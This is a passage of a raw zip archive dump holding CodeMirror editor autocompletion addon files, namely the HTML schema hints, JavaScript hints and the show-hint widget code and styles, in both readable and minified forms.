e"],readonly:["","readonly"],required:["","required"],type:["hidden","text","search","tel","url","email","password","datetime","date","month","week","time","datetime-local","number","range","color","checkbox","radio","file","submit","image","reset","button"]}},ins:{attrs:{cite:null,datetime:null}},kbd:j,keygen:{attrs:{challenge:null,form:null,name:null,autofocus:["","autofocus"],disabled:["","disabled"],keytype:["RSA"]}},label:{attrs:{for:null,form:null}},legend:j,li:{attrs:{value:null}},link:{attrs:{href:null,type:null,hreflang:d,media:i,sizes:["all","16x16","16x16
32x32","16x16 32x32
64x64"]}},map:{attrs:{name:null}},mark:j,menu:{attrs:{label:null,type:["list","context","toolbar"]}},meta:{attrs:{content:null,charset:f,name:["viewport","application-name","author","description","generator","keywords"],"http-equiv":["content-language","content-type","default-style","refresh"]}},meter:{attrs:{value:null,min:null,low:null,high:null,max:null,optimum:null}},nav:j,noframes:j,noscript:j,object:{attrs:{data:null,type:null,name:null,usemap:null,form:null,width:null,height:null,typemustmatch:["","typemustmatch"]}},ol:{attrs:{reversed:["","reversed"],start:null,type:["1","a","A","i","I"]}},optgroup:{attrs:{disabled:["","disabled"],label:null}},option:{attrs:{disabled:["","disabled"],label:null,selected:["","selected"],value:null}},output:{attrs:{for:null,form:null,name:null}},p:j,param:{attrs:{name:null,value:null}},pre:j,progress:{attrs:{value:null,max:null}},q:{attrs:{cite:null}},rp:j,rt:j,ruby:j,s:j,samp:j,script:{attrs:{type:["text/javascript"],src:null,async:["","async"],defer:["","defer"],charset:f}},section:j,select:{attrs:{form:null,name:null,size:null,autofocus:["","autofocus"],disabled:["","disabled"],multiple:["","multiple"]}},small:j,source:{attrs:{src:null,type:null,media:null}},span:j,strike:j,strong:j,style:{attrs:{type:["text/css"],media:i,scoped:null}},sub:j,summary:j,sup:j,table:j,tbody:j,td:{attrs:{colspan:null,rowspan:null,headers:null}},textarea:{attrs:{dirname:null,form:null,maxlength:null,name:null,placeholder:null,rows:null,cols:null,autofocus:["","autofocus"],disabled:["","disabled"],readonly:["","readonly"],required:["","required"],wrap:["soft","hard"]}},tfoot:j,th:{attrs:{colspan:null,rowspan:null,headers:null,scope:["row","col","rowgroup","colgroup"]}},thead:j,time:{attrs:{datetime:null}},title:j,tr:j,track:{attrs:{src:null,label:null,default:null,kind:["subtitles","captions","descriptions","chapters","metadata"],srclang:d}},tt:j,u:j,ul:j,var:j,video:{attrs:{src:null,poster:null,width:null,height:null,crossorigin:["anonymous","use-credentials"],preload:["auto","metadata","none"],autoplay:["","autoplay"],mediagroup:["movie"],muted:["","muted"],controls:["","controls"]}},wbr:j},l={accesskey:["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"],class:null,contenteditable:["true","false"],contextmenu:null,dir:["ltr","rtl","auto"],draggable:["true","false","auto"],dropzone:["copy","move","link","string:","file:"],hidden:["hidden"],id:null,inert:["inert"],itemid:null,itemprop:null,itemref:null,itemscope:["itemscope"],itemtype:null,lang:["en","es"],spellcheck:["true","false"],autocorrect:["true","false"],autocapitalize:["true","false"],style:null,tabindex:["1","2","3","4","5","6","7","8","9"],title:null,translate:["yes","no"],onclick:null,rel:["stylesheet","alternate","author","bookmark","help","license","next","nofollow","noreferrer","prefetch","prev","search","tag"]};b(j);for(var
m in
k)k.hasOwnProperty(m)&&k[m]!=j&&b(k[m]);a.htmlSchema=k,a.registerHelper("hint","html",c)}));PK6��[<fAq��(codemirror/addon/hint/javascript-hint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  var Pos = CodeMirror.Pos;

  function forEach(arr, f) {
    for (var i = 0, e = arr.length; i < e; ++i) f(arr[i]);
  }

  function arrayContains(arr, item) {
    if (!Array.prototype.indexOf) {
      var i = arr.length;
      while (i--) {
        if (arr[i] === item) {
          return true;
        }
      }
      return false;
    }
    return arr.indexOf(item) != -1;
  }

  function scriptHint(editor, keywords, getToken, options) {
    // Find the token at the cursor
    var cur = editor.getCursor(), token = getToken(editor, cur);
    if (/\b(?:string|comment)\b/.test(token.type)) return;
    var innerMode = CodeMirror.innerMode(editor.getMode(), token.state);
    if (innerMode.mode.helperType === "json") return;
    token.state = innerMode.state;

    // If it's not a 'word-style' token, ignore the token.
    if (!/^[\w$_]*$/.test(token.string)) {
      token = {start: cur.ch, end: cur.ch, string: "", state:
token.state,
               type: token.string == "." ? "property" :
null};
    } else if (token.end > cur.ch) {
      token.end = cur.ch;
      token.string = token.string.slice(0, cur.ch - token.start);
    }

    var tprop = token;
    // If it is a property, find out what it is a property of.
    while (tprop.type == "property") {
      tprop = getToken(editor, Pos(cur.line, tprop.start));
      if (tprop.string != ".") return;
      tprop = getToken(editor, Pos(cur.line, tprop.start));
      if (!context) var context = [];
      context.push(tprop);
    }
    return {list: getCompletions(token, context, keywords, options),
            from: Pos(cur.line, token.start),
            to: Pos(cur.line, token.end)};
  }

  function javascriptHint(editor, options) {
    return scriptHint(editor, javascriptKeywords,
                      function (e, cur) {return e.getTokenAt(cur);},
                      options);
  };
  CodeMirror.registerHelper("hint", "javascript",
javascriptHint);

  function getCoffeeScriptToken(editor, cur) {
  // This getToken, it is for coffeescript, imitates the behavior of
  // getTokenAt method in javascript.js, that is, returning
"property"
  // type and treat "." as indepenent token.
    var token = editor.getTokenAt(cur);
    if (cur.ch == token.start + 1 && token.string.charAt(0) ==
'.') {
      token.end = token.start;
      token.string = '.';
      token.type = "property";
    }
    else if (/^\.[\w$_]*$/.test(token.string)) {
      token.type = "property";
      token.start++;
      token.string = token.string.replace(/\./, '');
    }
    return token;
  }

  function coffeescriptHint(editor, options) {
    return scriptHint(editor, coffeescriptKeywords, getCoffeeScriptToken,
options);
  }
  CodeMirror.registerHelper("hint", "coffeescript",
coffeescriptHint);

  var stringProps = ("charAt charCodeAt indexOf lastIndexOf substring
substr slice trim trimLeft trimRight " +
                     "toUpperCase toLowerCase split concat match
replace search").split(" ");
  var arrayProps = ("length concat join splice push pop shift unshift
slice reverse sort indexOf " +
                    "lastIndexOf every some filter forEach map reduce
reduceRight ").split(" ");
  var funcProps = "prototype apply call bind".split("
");
  var javascriptKeywords = ("break case catch class const continue
debugger default delete do else export extends false finally for function
" +
                  "if in import instanceof new null return super
switch this throw true try typeof var void while with
yield").split(" ");
  var coffeescriptKeywords = ("and break catch class continue delete
do else extends false finally for " +
                  "if in instanceof isnt new no not null of off on or
return switch then throw true try typeof until void while with
yes").split(" ");

  function forAllProps(obj, callback) {
    if (!Object.getOwnPropertyNames || !Object.getPrototypeOf) {
      for (var name in obj) callback(name)
    } else {
      for (var o = obj; o; o = Object.getPrototypeOf(o))
        Object.getOwnPropertyNames(o).forEach(callback)
    }
  }

  function getCompletions(token, context, keywords, options) {
    var found = [], start = token.string, global = options &&
options.globalScope || window;
    function maybeAdd(str) {
      if (str.lastIndexOf(start, 0) == 0 && !arrayContains(found,
str)) found.push(str);
    }
    function gatherCompletions(obj) {
      if (typeof obj == "string") forEach(stringProps, maybeAdd);
      else if (obj instanceof Array) forEach(arrayProps, maybeAdd);
      else if (obj instanceof Function) forEach(funcProps, maybeAdd);
      forAllProps(obj, maybeAdd)
    }

    if (context && context.length) {
      // If this is a property, see if it belongs to some object we can
      // find in the current environment.
      var obj = context.pop(), base;
      if (obj.type && obj.type.indexOf("variable") === 0)
{
        if (options && options.additionalContext)
          base = options.additionalContext[obj.string];
        if (!options || options.useGlobalScope !== false)
          base = base || global[obj.string];
      } else if (obj.type == "string") {
        base = "";
      } else if (obj.type == "atom") {
        base = 1;
      } else if (obj.type == "function") {
        if (global.jQuery != null && (obj.string == '$'
|| obj.string == 'jQuery') &&
            (typeof global.jQuery == 'function'))
          base = global.jQuery();
        else if (global._ != null && (obj.string == '_')
&& (typeof global._ == 'function'))
          base = global._();
      }
      while (base != null && context.length)
        base = base[context.pop().string];
      if (base != null) gatherCompletions(base);
    } else {
      // If not, just look in the global object, any local scope, and
optional additional-context
      // (reading into JS mode internals to get at the local and global
variables)
      for (var v = token.state.localVars; v; v = v.next) maybeAdd(v.name);
      for (var c = token.state.context; c; c = c.prev)
        for (var v = c.vars; v; v = v.next) maybeAdd(v.name)
      for (var v = token.state.globalVars; v; v = v.next) maybeAdd(v.name);
      if (options && options.additionalContext != null)
        for (var key in options.additionalContext)
          maybeAdd(key);
      if (!options || options.useGlobalScope !== false)
        gatherCompletions(global);
      forEach(keywords, maybeAdd);
    }
    return found;
  }
});
PK6��[�<��,codemirror/addon/hint/javascript-hint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){function
b(a,b){for(var c=0,d=a.length;c<d;++c)b(a[c])}function
c(a,b){if(!Array.prototype.indexOf){for(var
c=a.length;c--;)if(a[c]===b)return!0;return!1}return-1!=a.indexOf(b)}function
d(b,c,d,e){var
f=b.getCursor(),g=d(b,f);if(!/\b(?:string|comment)\b/.test(g.type)){var
h=a.innerMode(b.getMode(),g.state);if("json"!==h.mode.helperType){g.state=h.state,/^[\w$_]*$/.test(g.string)?g.end>f.ch&&(g.end=f.ch,g.string=g.string.slice(0,f.ch-g.start)):g={start:f.ch,end:f.ch,string:"",state:g.state,type:"."==g.string?"property":null};for(var
k=g;"property"==k.type;){if(k=d(b,j(f.line,k.start)),"."!=k.string)return;if(k=d(b,j(f.line,k.start)),!l)var
l=[];l.push(k)}return{list:i(g,l,c,e),from:j(f.line,g.start),to:j(f.line,g.end)}}}}function
e(a,b){return d(a,n,(function(a,b){return a.getTokenAt(b)}),b)}function
f(a,b){var c=a.getTokenAt(b);return
b.ch==c.start+1&&"."==c.string.charAt(0)?(c.end=c.start,c.string=".",c.type="property"):/^\.[\w$_]*$/.test(c.string)&&(c.type="property",c.start++,c.string=c.string.replace(/\./,"")),c}function
g(a,b){return d(a,o,f,b)}function
h(a,b){if(Object.getOwnPropertyNames&&Object.getPrototypeOf)for(var
c=a;c;c=Object.getPrototypeOf(c))Object.getOwnPropertyNames(c).forEach(b);else
for(var d in a)b(d)}function i(a,d,e,f){function
g(a){0!=a.lastIndexOf(n,0)||c(j,a)||j.push(a)}function
i(a){"string"==typeof a?b(k,g):a instanceof Array?b(l,g):a
instanceof Function&&b(m,g),h(a,g)}var
j=[],n=a.string,o=f&&f.globalScope||window;if(d&&d.length){var
p,q=d.pop();for(q.type&&0===q.type.indexOf("variable")?(f&&f.additionalContext&&(p=f.additionalContext[q.string]),f&&!1===f.useGlobalScope||(p=p||o[q.string])):"string"==q.type?p="":"atom"==q.type?p=1:"function"==q.type&&(null==o.jQuery||"$"!=q.string&&"jQuery"!=q.string||"function"!=typeof
o.jQuery?null!=o._&&"_"==q.string&&"function"==typeof
o._&&(p=o._()):p=o.jQuery());null!=p&&d.length;)p=p[d.pop().string];null!=p&&i(p)}else{for(var
r=a.state.localVars;r;r=r.next)g(r.name);for(var
s=a.state.context;s;s=s.prev)for(var r=s.vars;r;r=r.next)g(r.name);for(var
r=a.state.globalVars;r;r=r.next)g(r.name);if(f&&null!=f.additionalContext)for(var
t in
f.additionalContext)g(t);f&&!1===f.useGlobalScope||i(o),b(e,g)}return
j}var
j=a.Pos;a.registerHelper("hint","javascript",e),a.registerHelper("hint","coffeescript",g);var
k="charAt charCodeAt indexOf lastIndexOf substring substr slice trim
trimLeft trimRight toUpperCase toLowerCase split concat match replace
search".split(" "),l="length concat join splice push
pop shift unshift slice reverse sort indexOf lastIndexOf every some filter
forEach map reduce reduceRight ".split("
"),m="prototype apply call bind".split("
"),n="break case catch class const continue debugger default
delete do else export extends false finally for function if in import
instanceof new null return super switch this throw true try typeof var void
while with yield".split(" "),o="and break catch class
continue delete do else extends false finally for if in instanceof isnt new
no not null of off on or return switch then throw true try typeof until
void while with yes".split("
")}));PK6��[^��oo#codemirror/addon/hint/show-hint.cssnu�[���.CodeMirror-hints
{
  position: absolute;
  z-index: 10;
  overflow: hidden;
  list-style: none;

  margin: 0;
  padding: 2px;

  -webkit-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  -moz-box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  box-shadow: 2px 3px 5px rgba(0,0,0,.2);
  border-radius: 3px;
  border: 1px solid silver;

  background: white;
  font-size: 90%;
  font-family: monospace;

  max-height: 20em;
  overflow-y: auto;
}

.CodeMirror-hint {
  margin: 0;
  padding: 0 4px;
  border-radius: 2px;
  white-space: pre;
  color: black;
  cursor: pointer;
}

li.CodeMirror-hint-active {
  background: #08f;
  color: white;
}
PK6��[<�oFoF"codemirror/addon/hint/show-hint.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var HINT_ELEMENT_CLASS        = "CodeMirror-hint";
  var ACTIVE_HINT_ELEMENT_CLASS = "CodeMirror-hint-active";

  // This is the old interface, kept around for now to stay
  // backwards-compatible.
  CodeMirror.showHint = function(cm, getHints, options) {
    if (!getHints) return cm.showHint(options);
    if (options && options.async) getHints.async = true;
    var newOpts = {hint: getHints};
    if (options) for (var prop in options) newOpts[prop] = options[prop];
    return cm.showHint(newOpts);
  };

  CodeMirror.defineExtension("showHint", function(options) {
    options = parseOptions(this, this.getCursor("start"),
options);
    var selections = this.listSelections()
    if (selections.length > 1) return;
    // By default, don't allow completion when something is selected.
    // A hint function can have a `supportsSelection` property to
    // indicate that it can handle selections.
    if (this.somethingSelected()) {
      if (!options.hint.supportsSelection) return;
      // Don't try with cross-line selections
      for (var i = 0; i < selections.length; i++)
        if (selections[i].head.line != selections[i].anchor.line) return;
    }

    if (this.state.completionActive) this.state.completionActive.close();
    var completion = this.state.completionActive = new Completion(this,
options);
    if (!completion.options.hint) return;

    CodeMirror.signal(this, "startCompletion", this);
    completion.update(true);
  });

  CodeMirror.defineExtension("closeHint", function() {
    if (this.state.completionActive) this.state.completionActive.close()
  })

  function Completion(cm, options) {
    this.cm = cm;
    this.options = options;
    this.widget = null;
    this.debounce = 0;
    this.tick = 0;
    this.startPos = this.cm.getCursor("start");
    this.startLen = this.cm.getLine(this.startPos.line).length -
this.cm.getSelection().length;

    var self = this;
    cm.on("cursorActivity", this.activityFunc = function() {
self.cursorActivity(); });
  }

  var requestAnimationFrame = window.requestAnimationFrame || function(fn)
{
    return setTimeout(fn, 1000/60);
  };
  var cancelAnimationFrame = window.cancelAnimationFrame || clearTimeout;

  Completion.prototype = {
    close: function() {
      if (!this.active()) return;
      this.cm.state.completionActive = null;
      this.tick = null;
      this.cm.off("cursorActivity", this.activityFunc);

      if (this.widget && this.data) CodeMirror.signal(this.data,
"close");
      if (this.widget) this.widget.close();
      CodeMirror.signal(this.cm, "endCompletion", this.cm);
    },

    active: function() {
      return this.cm.state.completionActive == this;
    },

    pick: function(data, i) {
      var completion = data.list[i], self = this;
      this.cm.operation(function() {
        if (completion.hint)
          completion.hint(self.cm, data, completion);
        else
          self.cm.replaceRange(getText(completion), completion.from ||
data.from,
                               completion.to || data.to,
"complete");
        CodeMirror.signal(data, "pick", completion);
        self.cm.scrollIntoView();
      })
      this.close();
    },

    cursorActivity: function() {
      if (this.debounce) {
        cancelAnimationFrame(this.debounce);
        this.debounce = 0;
      }

      var identStart = this.startPos;
      if(this.data) {
        identStart = this.data.from;
      }

      var pos = this.cm.getCursor(), line = this.cm.getLine(pos.line);
      if (pos.line != this.startPos.line || line.length - pos.ch !=
this.startLen - this.startPos.ch ||
          pos.ch < identStart.ch || this.cm.somethingSelected() ||
          (!pos.ch || this.options.closeCharacters.test(line.charAt(pos.ch
- 1)))) {
        this.close();
      } else {
        var self = this;
        this.debounce = requestAnimationFrame(function() {self.update();});
        if (this.widget) this.widget.disable();
      }
    },

    update: function(first) {
      if (this.tick == null) return
      var self = this, myTick = ++this.tick
      fetchHints(this.options.hint, this.cm, this.options, function(data) {
        if (self.tick == myTick) self.finishUpdate(data, first)
      })
    },

    finishUpdate: function(data, first) {
      if (this.data) CodeMirror.signal(this.data, "update");

      var picked = (this.widget && this.widget.picked) || (first
&& this.options.completeSingle);
      if (this.widget) this.widget.close();

      this.data = data;

      if (data && data.list.length) {
        if (picked && data.list.length == 1) {
          this.pick(data, 0);
        } else {
          this.widget = new Widget(this, data);
          CodeMirror.signal(data, "shown");
        }
      }
    }
  };

  function parseOptions(cm, pos, options) {
    var editor = cm.options.hintOptions;
    var out = {};
    for (var prop in defaultOptions) out[prop] = defaultOptions[prop];
    if (editor) for (var prop in editor)
      if (editor[prop] !== undefined) out[prop] = editor[prop];
    if (options) for (var prop in options)
      if (options[prop] !== undefined) out[prop] = options[prop];
    if (out.hint.resolve) out.hint = out.hint.resolve(cm, pos)
    return out;
  }

  function getText(completion) {
    if (typeof completion == "string") return completion;
    else return completion.text;
  }

  function buildKeyMap(completion, handle) {
    var baseMap = {
      Up: function() {handle.moveFocus(-1);},
      Down: function() {handle.moveFocus(1);},
      PageUp: function() {handle.moveFocus(-handle.menuSize() + 1, true);},
      PageDown: function() {handle.moveFocus(handle.menuSize() - 1,
true);},
      Home: function() {handle.setFocus(0);},
      End: function() {handle.setFocus(handle.length - 1);},
      Enter: handle.pick,
      Tab: handle.pick,
      Esc: handle.close
    };

    var mac = /Mac/.test(navigator.platform);

    if (mac) {
      baseMap["Ctrl-P"] = function() {handle.moveFocus(-1);};
      baseMap["Ctrl-N"] = function() {handle.moveFocus(1);};
    }

    var custom = completion.options.customKeys;
    var ourMap = custom ? {} : baseMap;
    function addBinding(key, val) {
      var bound;
      if (typeof val != "string")
        bound = function(cm) { return val(cm, handle); };
      // This mechanism is deprecated
      else if (baseMap.hasOwnProperty(val))
        bound = baseMap[val];
      else
        bound = val;
      ourMap[key] = bound;
    }
    if (custom)
      for (var key in custom) if (custom.hasOwnProperty(key))
        addBinding(key, custom[key]);
    var extra = completion.options.extraKeys;
    if (extra)
      for (var key in extra) if (extra.hasOwnProperty(key))
        addBinding(key, extra[key]);
    return ourMap;
  }

  function getHintElement(hintsElement, el) {
    while (el && el != hintsElement) {
      if (el.nodeName.toUpperCase() === "LI" &&
el.parentNode == hintsElement) return el;
      el = el.parentNode;
    }
  }

  function Widget(completion, data) {
    this.completion = completion;
    this.data = data;
    this.picked = false;
    var widget = this, cm = completion.cm;
    var ownerDocument = cm.getInputField().ownerDocument;
    var parentWindow = ownerDocument.defaultView ||
ownerDocument.parentWindow;

    var hints = this.hints = ownerDocument.createElement("ul");
    var theme = completion.cm.options.theme;
    hints.className = "CodeMirror-hints " + theme;
    this.selectedHint = data.selectedHint || 0;

    var completions = data.list;
    for (var i = 0; i < completions.length; ++i) {
      var elt =
hints.appendChild(ownerDocument.createElement("li")), cur =
completions[i];
      var className = HINT_ELEMENT_CLASS + (i != this.selectedHint ?
"" : " " + ACTIVE_HINT_ELEMENT_CLASS);
      if (cur.className != null) className = cur.className + " "
+ className;
      elt.className = className;
      if (cur.render) cur.render(elt, data, cur);
      else elt.appendChild(ownerDocument.createTextNode(cur.displayText ||
getText(cur)));
      elt.hintId = i;
    }

    var container = completion.options.container || ownerDocument.body;
    var pos = cm.cursorCoords(completion.options.alignWithWord ? data.from
: null);
    var left = pos.left, top = pos.bottom, below = true;
    var offsetLeft = 0, offsetTop = 0;
    if (container !== ownerDocument.body) {
      // We offset the cursor position because left and top are relative to
the offsetParent's top left corner.
      var isContainerPositioned = ['absolute',
'relative',
'fixed'].indexOf(parentWindow.getComputedStyle(container).position)
!== -1;
      var offsetParent = isContainerPositioned ? container :
container.offsetParent;
      var offsetParentPosition = offsetParent.getBoundingClientRect();
      var bodyPosition = ownerDocument.body.getBoundingClientRect();
      offsetLeft = (offsetParentPosition.left - bodyPosition.left -
offsetParent.scrollLeft);
      offsetTop = (offsetParentPosition.top - bodyPosition.top -
offsetParent.scrollTop);
    }
    hints.style.left = (left - offsetLeft) + "px";
    hints.style.top = (top - offsetTop) + "px";

    // If we're at the edge of the screen, then we want the menu to
appear on the left of the cursor.
    var winW = parentWindow.innerWidth ||
Math.max(ownerDocument.body.offsetWidth,
ownerDocument.documentElement.offsetWidth);
    var winH = parentWindow.innerHeight ||
Math.max(ownerDocument.body.offsetHeight,
ownerDocument.documentElement.offsetHeight);
    container.appendChild(hints);
    var box = hints.getBoundingClientRect(), overlapY = box.bottom - winH;
    var scrolls = hints.scrollHeight > hints.clientHeight + 1
    var startScroll = cm.getScrollInfo();

    if (overlapY > 0) {
      var height = box.bottom - box.top, curTop = pos.top - (pos.bottom -
box.top);
      if (curTop - height > 0) { // Fits above cursor
        hints.style.top = (top = pos.top - height - offsetTop) +
"px";
        below = false;
      } else if (height > winH) {
        hints.style.height = (winH - 5) + "px";
        hints.style.top = (top = pos.bottom - box.top - offsetTop) +
"px";
        var cursor = cm.getCursor();
        if (data.from.ch != cursor.ch) {
          pos = cm.cursorCoords(cursor);
          hints.style.left = (left = pos.left - offsetLeft) +
"px";
          box = hints.getBoundingClientRect();
        }
      }
    }
    var overlapX = box.right - winW;
    if (overlapX > 0) {
      if (box.right - box.left > winW) {
        hints.style.width = (winW - 5) + "px";
        overlapX -= (box.right - box.left) - winW;
      }
      hints.style.left = (left = pos.left - overlapX - offsetLeft) +
"px";
    }
    if (scrolls) for (var node = hints.firstChild; node; node =
node.nextSibling)
      node.style.paddingRight = cm.display.nativeBarWidth + "px"

    cm.addKeyMap(this.keyMap = buildKeyMap(completion, {
      moveFocus: function(n, avoidWrap) {
widget.changeActive(widget.selectedHint + n, avoidWrap); },
      setFocus: function(n) { widget.changeActive(n); },
      menuSize: function() { return widget.screenAmount(); },
      length: completions.length,
      close: function() { completion.close(); },
      pick: function() { widget.pick(); },
      data: data
    }));

    if (completion.options.closeOnUnfocus) {
      var closingOnBlur;
      cm.on("blur", this.onBlur = function() { closingOnBlur =
setTimeout(function() { completion.close(); }, 100); });
      cm.on("focus", this.onFocus = function() {
clearTimeout(closingOnBlur); });
    }

    cm.on("scroll", this.onScroll = function() {
      var curScroll = cm.getScrollInfo(), editor =
cm.getWrapperElement().getBoundingClientRect();
      var newTop = top + startScroll.top - curScroll.top;
      var point = newTop - (parentWindow.pageYOffset ||
(ownerDocument.documentElement || ownerDocument.body).scrollTop);
      if (!below) point += hints.offsetHeight;
      if (point <= editor.top || point >= editor.bottom) return
completion.close();
      hints.style.top = newTop + "px";
      hints.style.left = (left + startScroll.left - curScroll.left) +
"px";
    });

    CodeMirror.on(hints, "dblclick", function(e) {
      var t = getHintElement(hints, e.target || e.srcElement);
      if (t && t.hintId != null) {widget.changeActive(t.hintId);
widget.pick();}
    });

    CodeMirror.on(hints, "click", function(e) {
      var t = getHintElement(hints, e.target || e.srcElement);
      if (t && t.hintId != null) {
        widget.changeActive(t.hintId);
        if (completion.options.completeOnSingleClick) widget.pick();
      }
    });

    CodeMirror.on(hints, "mousedown", function() {
      setTimeout(function(){cm.focus();}, 20);
    });
    this.scrollToActive()

    CodeMirror.signal(data, "select",
completions[this.selectedHint], hints.childNodes[this.selectedHint]);
    return true;
  }

  Widget.prototype = {
    close: function() {
      if (this.completion.widget != this) return;
      this.completion.widget = null;
      this.hints.parentNode.removeChild(this.hints);
      this.completion.cm.removeKeyMap(this.keyMap);

      var cm = this.completion.cm;
      if (this.completion.options.closeOnUnfocus) {
        cm.off("blur", this.onBlur);
        cm.off("focus", this.onFocus);
      }
      cm.off("scroll", this.onScroll);
    },

    disable: function() {
      this.completion.cm.removeKeyMap(this.keyMap);
      var widget = this;
      this.keyMap = {Enter: function() { widget.picked = true; }};
      this.completion.cm.addKeyMap(this.keyMap);
    },

    pick: function() {
      this.completion.pick(this.data, this.selectedHint);
    },

    changeActive: function(i, avoidWrap) {
      if (i >= this.data.list.length)
        i = avoidWrap ? this.data.list.length - 1 : 0;
      else if (i < 0)
        i = avoidWrap ? 0  : this.data.list.length - 1;
      if (this.selectedHint == i) return;
      var node = this.hints.childNodes[this.selectedHint];
      if (node) node.className = node.className.replace(" " +
ACTIVE_HINT_ELEMENT_CLASS, "");
      node = this.hints.childNodes[this.selectedHint = i];
      node.className += " " + ACTIVE_HINT_ELEMENT_CLASS;
      this.scrollToActive()
      CodeMirror.signal(this.data, "select",
this.data.list[this.selectedHint], node);
    },

    scrollToActive: function() {
      var margin = this.completion.options.scrollMargin || 0;
      var node1 = this.hints.childNodes[Math.max(0, this.selectedHint -
margin)];
      var node2 = this.hints.childNodes[Math.min(this.data.list.length - 1,
this.selectedHint + margin)];
      var firstNode = this.hints.firstChild;
      if (node1.offsetTop < this.hints.scrollTop)
        this.hints.scrollTop = node1.offsetTop - firstNode.offsetTop;
      else if (node2.offsetTop + node2.offsetHeight >
this.hints.scrollTop + this.hints.clientHeight)
        this.hints.scrollTop = node2.offsetTop + node2.offsetHeight -
this.hints.clientHeight + firstNode.offsetTop;
    },

    screenAmount: function() {
      return Math.floor(this.hints.clientHeight /
this.hints.firstChild.offsetHeight) || 1;
    }
  };

  function applicableHelpers(cm, helpers) {
    if (!cm.somethingSelected()) return helpers
    var result = []
    for (var i = 0; i < helpers.length; i++)
      if (helpers[i].supportsSelection) result.push(helpers[i])
    return result
  }

  function fetchHints(hint, cm, options, callback) {
    if (hint.async) {
      hint(cm, callback, options)
    } else {
      var result = hint(cm, options)
      if (result && result.then) result.then(callback)
      else callback(result)
    }
  }

  function resolveAutoHints(cm, pos) {
    var helpers = cm.getHelpers(pos, "hint"), words
    if (helpers.length) {
      var resolved = function(cm, callback, options) {
        var app = applicableHelpers(cm, helpers);
        function run(i) {
          if (i == app.length) return callback(null)
          fetchHints(app[i], cm, options, function(result) {
            if (result && result.list.length > 0)
callback(result)
            else run(i + 1)
          })
        }
        run(0)
      }
      resolved.async = true
      resolved.supportsSelection = true
      return resolved
    } else if (words = cm.getHelper(cm.getCursor(), "hintWords"))
{
      return function(cm) { return CodeMirror.hint.fromList(cm, {words:
words}) }
    } else if (CodeMirror.hint.anyword) {
      return function(cm, options) { return CodeMirror.hint.anyword(cm,
options) }
    } else {
      return function() {}
    }
  }

  CodeMirror.registerHelper("hint", "auto", {
    resolve: resolveAutoHints
  });

  CodeMirror.registerHelper("hint", "fromList",
function(cm, options) {
    var cur = cm.getCursor(), token = cm.getTokenAt(cur)
    var term, from = CodeMirror.Pos(cur.line, token.start), to = cur
    if (token.start < cur.ch &&
/\w/.test(token.string.charAt(cur.ch - token.start - 1))) {
      term = token.string.substr(0, cur.ch - token.start)
    } else {
      term = ""
      from = cur
    }
    var found = [];
    for (var i = 0; i < options.words.length; i++) {
      var word = options.words[i];
      if (word.slice(0, term.length) == term)
        found.push(word);
    }

    if (found.length) return {list: found, from: from, to: to};
  });

  CodeMirror.commands.autocomplete = CodeMirror.showHint;

  var defaultOptions = {
    hint: CodeMirror.hint.auto,
    completeSingle: true,
    alignWithWord: true,
    closeCharacters: /[\s()\[\]{};:>,]/,
    closeOnUnfocus: true,
    completeOnSingleClick: true,
    container: null,
    customKeys: null,
    extraKeys: null
  };

  CodeMirror.defineOption("hintOptions", null);
});
PK6��[�����'codemirror/addon/hint/show-hint.min.cssnu�[���.CodeMirror-hints{position:absolute;z-index:10;overflow:hidden;list-style:none;margin:0;padding:2px;-webkit-box-shadow:2px
3px 5px rgba(0,0,0,.2);-moz-box-shadow:2px 3px 5px
rgba(0,0,0,.2);box-shadow:2px 3px 5px
rgba(0,0,0,.2);border-radius:3px;border:1px solid
silver;background:#fff;font-size:90%;font-family:monospace;max-height:20em;overflow-y:auto}.CodeMirror-hint{margin:0;padding:0
4px;border-radius:2px;white-space:pre;color:#000;cursor:pointer}li.CodeMirror-hint-active{background:#08f;color:#fff}PK6��[�w�v�%�%&codemirror/addon/hint/show-hint.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function
b(a,b){this.cm=a,this.options=b,this.widget=null,this.debounce=0,this.tick=0,this.startPos=this.cm.getCursor("start"),this.startLen=this.cm.getLine(this.startPos.line).length-this.cm.getSelection().length;var
c=this;a.on("cursorActivity",this.activityFunc=function(){c.cursorActivity()})}function
c(a,b,c){var d=a.options.hintOptions,e={};for(var f in
o)e[f]=o[f];if(d)for(var f in d)void
0!==d[f]&&(e[f]=d[f]);if(c)for(var f in c)void
0!==c[f]&&(e[f]=c[f]);return
e.hint.resolve&&(e.hint=e.hint.resolve(a,b)),e}function
d(a){return"string"==typeof a?a:a.text}function e(a,b){function
c(a,c){var e;e="string"!=typeof c?function(a){return
c(a,b)}:d.hasOwnProperty(c)?d[c]:c,f[a]=e}var
d={Up:function(){b.moveFocus(-1)},Down:function(){b.moveFocus(1)},PageUp:function(){b.moveFocus(1-b.menuSize(),!0)},PageDown:function(){b.moveFocus(b.menuSize()-1,!0)},Home:function(){b.setFocus(0)},End:function(){b.setFocus(b.length-1)},Enter:b.pick,Tab:b.pick,Esc:b.close};/Mac/.test(navigator.platform)&&(d["Ctrl-P"]=function(){b.moveFocus(-1)},d["Ctrl-N"]=function(){b.moveFocus(1)});var
e=a.options.customKeys,f=e?{}:d;if(e)for(var g in
